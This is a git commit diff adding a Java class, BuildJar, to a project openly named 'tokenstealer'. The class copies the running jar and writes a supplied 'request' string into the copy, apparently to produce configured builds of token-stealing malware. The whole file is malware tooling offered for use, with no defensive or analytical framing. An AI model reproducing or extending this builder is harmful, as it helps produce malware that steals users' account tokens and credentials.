Initial commit

1 files changed, 43 insertions, 0 deletions

diff --git a/src/main/java/de/romjaki/tokenstealer/builder/BuildJar.java b/src/main/java/de/romjaki/tokenstealer/builder/BuildJar.java
new file mode 100644
index 0000000..c6224ba
--- /dev/null
+++ b/src/main/java/de/romjaki/tokenstealer/builder/BuildJar.java
@@ -0,0 +1,43 @@
+package de.romjaki.tokenstealer.builder;
+
+import java.io.File;
+import java.io.IOException;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.nio.file.*;
+import java.util.HashMap;
+
+
+public class BuildJar {
+    static void buildJar(String request, File target) {
+        if (target == null) return;
+        try {
+            Files.copy(
+                    Paths.get(getCurrentJar()),
+                    Paths.get(target.toURI()),
+                    StandardCopyOption.REPLACE_EXISTING
+            );
+        } catch (URISyntaxException | IOException e) {
+            e.printStackTrace();
+            return;
+        }
+        URI fileUri = target.toURI();
+        try (FileSystem fs =
+                     FileSystems.newFileSystem(
+                             new URI("jar:" + fileUri.getScheme(), fileUri.getPath(), null),
+                             new HashMap<String, String>() {{
+                                 put("create", "false");
+                             }},
+                             null)) {
+            Path path = fs.getPath("/request");
+            Files.write(path, request.getBytes());
+        } catch (IOException | URISyntaxException e) {
+            e.printStackTrace();
+        }
+
+    }
+
+    private static URI getCurrentJar() throws URISyntaxException {
+        return BuildJar.class.getProtectionDomain().getCodeSource().getLocation().toURI();
+    }
+}